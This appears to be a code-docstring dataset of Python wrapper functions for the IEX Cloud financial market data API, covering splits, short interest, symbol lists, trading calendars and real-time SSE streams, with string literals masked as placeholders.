{"signature": "def relevant(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Same as peers\n\n    https://iexcloud.io/docs/api/#relevant\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m79"}
{"signature": "def relevantDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(relevant(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Same as peers\n\n    https://iexcloud.io/docs/api/#relevant\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m80"}
{"signature": "def sectorPerformance(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This returns an array of each sector and performance for the current trading day. Performance is based on each sector ETF.\n\n    https://iexcloud.io/docs/api/#sector-performance\n    8am-5pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m81"}
{"signature": "def sectorPerformanceDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(sectorPerformance(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT:name>')<EOL>return df<EOL>", "docstring": "This returns an array of each sector and performance for the current trading day. Performance is based on each sector ETF.\n\n    https://iexcloud.io/docs/api/#sector-performance\n    8am-5pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m82"}
{"signature": "def splits(symbol, timeframe='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if timeframe not in _TIMEFRAME_DIVSPLIT:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_TIMEFRAME_DIVSPLIT))<EOL><DEDENT>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + timeframe, token, version)<EOL>", "docstring": "Stock split history\n\n    https://iexcloud.io/docs/api/#splits\n    Updated at 9am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m83"}
{"signature": "def _splitsToDF(s):", "body": "df = pd.DataFrame(s)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m84"}
{"signature": "def splitsDF(symbol, timeframe='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "s = splits(symbol, timeframe, token, version)<EOL>df = _splitsToDF(s)<EOL>return df<EOL>", "docstring": "Stock split history\n\n    https://iexcloud.io/docs/api/#splits\n    Updated at 9am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m85"}
{"signature": "def volumeByVenue(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This returns 15 minute delayed and 30 day average consolidated volume percentage of a stock, by market.\n    This call will always return 13 values, and will be sorted in ascending order by current day trading volume percentage.\n\n    https://iexcloud.io/docs/api/#volume-by-venue\n    Updated during regular market hours 9:30am-4pm ET\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m86"}
{"signature": "def volumeByVenueDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(volumeByVenue(symbol, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This returns 15 minute delayed and 30 day average consolidated volume percentage of a stock, by market.\n    This call will always return 13 values, and will be sorted in ascending order by current day trading volume percentage.\n\n    https://iexcloud.io/docs/api/#volume-by-venue\n    Updated during regular market hours 9:30am-4pm ET\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m87"}
{"signature": "def threshold(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The following are IEX-listed securities that have an aggregate fail to deliver position for five consecutive settlement days at a registered clearing agency, totaling 10,000 shares or more and equal to at least 0.5% of the issuer\u2019s total shares outstanding (i.e., \u201cthreshold securities\u201d).\n    The report data will be published to the IEX website daily at 8:30 p.m. ET with data for that trading day.\n\n    https://iexcloud.io/docs/api/#listed-regulation-sho-threshold-securities-list-in-dev\n\n    Args:\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m88"}
{"signature": "def thresholdDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(threshold(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The following are IEX-listed securities that have an aggregate fail to deliver position for five consecutive settlement days at a registered clearing agency, totaling 10,000 shares or more and equal to at least 0.5% of the issuer\u2019s total shares outstanding (i.e., \u201cthreshold securities\u201d).\n    The report data will be published to the IEX website daily at 8:30 p.m. ET with data for that trading day.\n\n    https://iexcloud.io/docs/api/#listed-regulation-sho-threshold-securities-list-in-dev\n\n    Args:\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m89"}
{"signature": "def shortInterest(symbol, date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "The consolidated market short interest positions in all IEX-listed securities are included in the IEX Short Interest Report.\n\n    The report data will be published daily at 4:00pm ET.\n\n    https://iexcloud.io/docs/api/#listed-short-interest-list-in-dev\n\n    Args:\n        symbol (string); Ticker to request\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m90"}
{"signature": "def shortInterestDF(symbol, date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(shortInterest(symbol, date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The consolidated market short interest positions in all IEX-listed securities are included in the IEX Short Interest Report.\n\n    The report data will be published daily at 4:00pm ET.\n\n    https://iexcloud.io/docs/api/#listed-short-interest-list-in-dev\n\n    Args:\n        symbol (string); Ticker to request\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m91"}
{"signature": "def marketShortInterest(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The consolidated market short interest positions in all IEX-listed securities are included in the IEX Short Interest Report.\n\n    The report data will be published daily at 4:00pm ET.\n\n    https://iexcloud.io/docs/api/#listed-short-interest-list-in-dev\n\n    Args:\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m92"}
{"signature": "def marketShortInterestDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(marketShortInterest(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The consolidated market short interest positions in all IEX-listed securities are included in the IEX Short Interest Report.\n\n    The report data will be published daily at 4:00pm ET.\n\n    https://iexcloud.io/docs/api/#listed-short-interest-list-in-dev\n\n    Args:\n        date (datetime); Effective Datetime\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m93"}
{"signature": "def exchanges(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Returns an array of U.S. exchanges.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m0"}
{"signature": "def exchangesDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return pd.DataFrame(exchanges())<EOL>", "docstring": "Returns an array of U.S. exchanges.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2331:m1"}
{"signature": "def calendar(type='<STR_LIT>', direction='<STR_LIT>', last=<NUM_LIT:1>, startDate=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if startDate:<EOL><INDENT>startDate = _strOrDate(startDate)<EOL>return _getJson('<STR_LIT>'.format(type=type, direction=direction, last=last, date=startDate), token, version)<EOL><DEDENT>return _getJson('<STR_LIT>' + type + '<STR_LIT:/>' + direction + '<STR_LIT:/>' + str(last), token, version)<EOL>", "docstring": "This call allows you to fetch a number of trade dates or holidays from a given date. For example, if you want the next trading day, you would call /ref-data/us/dates/trade/next/1.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        type (string); \"holiday\" or \"trade\"\n        direction (string); \"next\" or \"last\"\n        last (int); number to move in direction\n        startDate (date); start date for next or last, YYYYMMDD\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m2"}
{"signature": "def calendarDF(type='<STR_LIT>', direction='<STR_LIT>', last=<NUM_LIT:1>, startDate=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "dat = pd.DataFrame(calendar(type, direction, last, startDate, token, version))<EOL>_toDatetime(dat)<EOL>return dat<EOL>", "docstring": "This call allows you to fetch a number of trade dates or holidays from a given date. For example, if you want the next trading day, you would call /ref-data/us/dates/trade/next/1.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        type (string); \"holiday\" or \"trade\"\n        direction (string); \"next\" or \"last\"\n        last (int); number to move in direction\n        startDate (date); start date for next or last, YYYYMMDD\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m3"}
{"signature": "def holidays(direction='<STR_LIT>', last=<NUM_LIT:1>, startDate=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return calendar('<STR_LIT>', direction, last, startDate, token, version)<EOL>", "docstring": "This call allows you to fetch a number of trade dates or holidays from a given date. For example, if you want the next trading day, you would call /ref-data/us/dates/trade/next/1.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        direction (string); \"next\" or \"last\"\n        last (int); number to move in direction\n        startDate (date); start date for next or last, YYYYMMDD\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m4"}
{"signature": "def holidaysDF(direction='<STR_LIT>', last=<NUM_LIT:1>, startDate=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return calendarDF('<STR_LIT>', direction, last, startDate, token, version)<EOL>", "docstring": "This call allows you to fetch a number of trade dates or holidays from a given date. For example, if you want the next trading day, you would call /ref-data/us/dates/trade/next/1.\n\n    https://iexcloud.io/docs/api/#u-s-exchanges\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        direction (string); \"next\" or \"last\"\n        last (int); number to move in direction\n        startDate (date); start date for next or last, YYYYMMDD\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m5"}
{"signature": "def symbols(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This call returns an array of symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m6"}
{"signature": "def iexSymbols(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This call returns an array of symbols the Investors Exchange supports for trading.\n    This list is updated daily as of 7:45 a.m. ET. Symbols may be added or removed by the Investors Exchange after the list was produced.\n\n    https://iexcloud.io/docs/api/#iex-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m7"}
{"signature": "def mutualFundSymbols(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This call returns an array of mutual fund symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#mutual-fund-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m8"}
{"signature": "def otcSymbols(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This call returns an array of OTC symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#otc-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m9"}
{"signature": "def internationalSymbols(region='<STR_LIT>', exchange='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "if region:<EOL><INDENT>return _getJson('<STR_LIT>'.format(region=region), token, version)<EOL><DEDENT>elif exchange:<EOL><INDENT>return _getJson('<STR_LIT>'.format(exchange=exchange), token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This call returns an array of international symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#international-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        region (string); region, 2 letter case insensitive string of country codes using ISO 3166-1 alpha-2\n        exchange (string): Case insensitive string of Exchange using IEX Supported Exchanges list\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2331:m10"}
{"signature": "def symbolsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(symbols(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This call returns an array of symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dataframe: result", "id": "f2331:m11"}
{"signature": "def iexSymbolsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(iexSymbols(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This call returns an array of symbols the Investors Exchange supports for trading.\n    This list is updated daily as of 7:45 a.m. ET. Symbols may be added or removed by the Investors Exchange after the list was produced.\n\n    https://iexcloud.io/docs/api/#iex-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2331:m12"}
{"signature": "def mutualFundSymbolsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(mutualFundSymbols(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This call returns an array of mutual fund symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#mutual-fund-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2331:m13"}
{"signature": "def otcSymbolsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(otcSymbols(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This call returns an array of OTC symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#otc-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2331:m14"}
{"signature": "def internationalSymbolsDF(region='<STR_LIT>', exchange='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(internationalSymbols(region, exchange, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This call returns an array of international symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#international-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        region (string); region, 2 letter case insensitive string of country codes using ISO 3166-1 alpha-2\n        exchange (string): Case insensitive string of Exchange using IEX Supported Exchanges list\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2331:m15"}
{"signature": "def symbolsList(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return symbolsDF(token, version).index.tolist()<EOL>", "docstring": "This call returns an array of symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        list: result", "id": "f2331:m16"}
{"signature": "def iexSymbolsList(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return iexSymbolsDF(token, version).index.tolist()<EOL>", "docstring": "This call returns an array of symbols the Investors Exchange supports for trading.\n    This list is updated daily as of 7:45 a.m. ET. Symbols may be added or removed by the Investors Exchange after the list was produced.\n\n    https://iexcloud.io/docs/api/#iex-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        list: result", "id": "f2331:m17"}
{"signature": "def mutualFundSymbolsList(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return mutualFundSymbolsDF(token, version).index.tolist()<EOL>", "docstring": "This call returns an array of mutual fund symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#mutual-fund-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        List: result", "id": "f2331:m18"}
{"signature": "def otcSymbolsList(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return otcSymbolsDF(token, version).index.tolist()<EOL>", "docstring": "This call returns an array of OTC symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#otc-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        list: result", "id": "f2331:m19"}
{"signature": "def internationalSymbolsList(region='<STR_LIT>', exchange='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "return internationalSymbolsDF(region, exchange, token, version).index.tolist()<EOL>", "docstring": "This call returns an array of international symbols that IEX Cloud supports for API calls.\n\n    https://iexcloud.io/docs/api/#international-symbols\n    8am, 9am, 12pm, 1pm UTC daily\n\n    Args:\n        region (string); region, 2 letter case insensitive string of country codes using ISO 3166-1 alpha-2\n        exchange (string): Case insensitive string of Exchange using IEX Supported Exchanges list\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        list: result", "id": "f2331:m20"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def corporateActions(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2331:m21"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def corporateActionsDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(corporateActions(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    DataFrame: result", "id": "f2331:m22"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def dividends(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2331:m23"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def dividendsDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(dividends(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    DataFrame: result", "id": "f2331:m24"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def nextDayExtDate(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2331:m25"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def nextDayExtDateDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(nextDayExtDate(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    DataFrame: result", "id": "f2331:m26"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def directory(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2331:m27"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def directoryDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(directory(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Args:\n    date (datetime): Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2331:m28"}
{"signature": "def topsSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "TOPS provides IEX\u2019s aggregated best quoted bid and offer position in near real time for all securities on IEX\u2019s displayed limit order book.\n    TOPS is ideal for developers needing both quote and trade data.\n\n    https://iexcloud.io/docs/api/#tops\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m1"}
{"signature": "def lastSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "Last provides trade data for executions on IEX. It is a near real time, intraday API that provides IEX last sale price, size and time.\n    Last is ideal for developers that need a lightweight stock quote.\n\n    https://iexcloud.io/docs/api/#last\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m2"}
{"signature": "def deepSSE(symbols=None, channels=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "symbols = _strCommaSeparatedString(symbols)<EOL>channels = channels or []<EOL>if isinstance(channels, str):<EOL><INDENT>if channels not in DeepChannelsSSE.options():<EOL><INDENT>raise PyEXception('<STR_LIT>', type(channels))<EOL><DEDENT>channels = [channels]<EOL><DEDENT>elif isinstance(channels, DeepChannelsSSE):<EOL><INDENT>channels = [channels.value]<EOL><DEDENT>elif isinstance(channels, list):<EOL><INDENT>for i, c in enumerate(channels):<EOL><INDENT>if isinstance(c, DeepChannelsSSE):<EOL><INDENT>channels[i] = c.value<EOL><DEDENT>elif not isinstance(c, str) or isinstance(c, str) and c not in DeepChannelsSSE.options():<EOL><INDENT>raise PyEXception('<STR_LIT>', c)<EOL><DEDENT><DEDENT><DEDENT>channels = _strCommaSeparatedString(channels)<EOL>return _streamSSE(_SSE_DEEP_URL_PREFIX.format(symbols=symbols, channels=channels, token=token, version=version), on_data)<EOL>", "docstring": "DEEP is used to receive real-time depth of book quotations direct from IEX.\n    The depth of book quotations received via DEEP provide an aggregated size of resting displayed orders at a price and side,\n    and do not indicate the size or number of individual orders at any price level.\n    Non-displayed orders and non-displayed portions of reserve orders are not represented in DEEP.\n\n    DEEP also provides last trade price and size information. Trades resulting from either displayed or non-displayed orders matching on IEX will be reported. Routed executions will not be reported.\n\n    https://iexcloud.io/docs/api/#deep\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m3"}
{"signature": "def tradesSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "symbols = _strCommaSeparatedString(symbols)<EOL>return _streamSSE(_SSE_DEEP_URL_PREFIX.format(symbols=symbols, channels='<STR_LIT>', token=token, version=version), on_data)<EOL>", "docstring": "Trade report messages are sent when an order on the IEX Order Book is executed in whole or in part. DEEP sends a Trade report message for every individual fill.\n\n    https://iexcloud.io/docs/api/#deep-trades\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m4"}
{"signature": "def auctionSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "DEEP broadcasts an Auction Information Message every one second between the Lock-in Time and the auction match for Opening and Closing Auctions,\n    and during the Display Only Period for IPO, Halt, and Volatility Auctions. Only IEX listed securities are eligible for IEX Auctions.\n\n    https://iexcloud.io/docs/api/#deep-auction\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m5"}
{"signature": "def bookSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "Book shows IEX\u2019s bids and asks for given symbols.\n\n    https://iexcloud.io/docs/api/#deep-book\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m6"}
{"signature": "def opHaltStatusSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "The Exchange may suspend trading of one or more securities on IEX for operational reasons and indicates such operational halt using the Operational halt status message.\n\n    IEX disseminates a full pre-market spin of Operational halt status messages indicating the operational halt status of all securities.\n    In the spin, IEX will send out an Operational Halt Message with \u201cN\u201d (Not operationally halted on IEX) for all securities that are eligible for trading at the start of the Pre-Market Session.\n    If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System at the start of the Pre-Market Session.\n\n    After the pre-market spin, IEX will use the Operational halt status message to relay changes in operational halt status for an individual security.\n\n    https://iexcloud.io/docs/api/#deep-operational-halt-status\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m7"}
{"signature": "def officialPriceSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "The Official Price message is used to disseminate the IEX Official Opening and Closing Prices.\n\n    These messages will be provided only for IEX Listed Securities.\n\n    https://iexcloud.io/docs/api/#deep-official-price\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m8"}
{"signature": "def securityEventSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "The Security event message is used to indicate events that apply to a security. A Security event message will be sent whenever such event occurs\n\n    https://iexcloud.io/docs/api/#deep-security-event\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m9"}
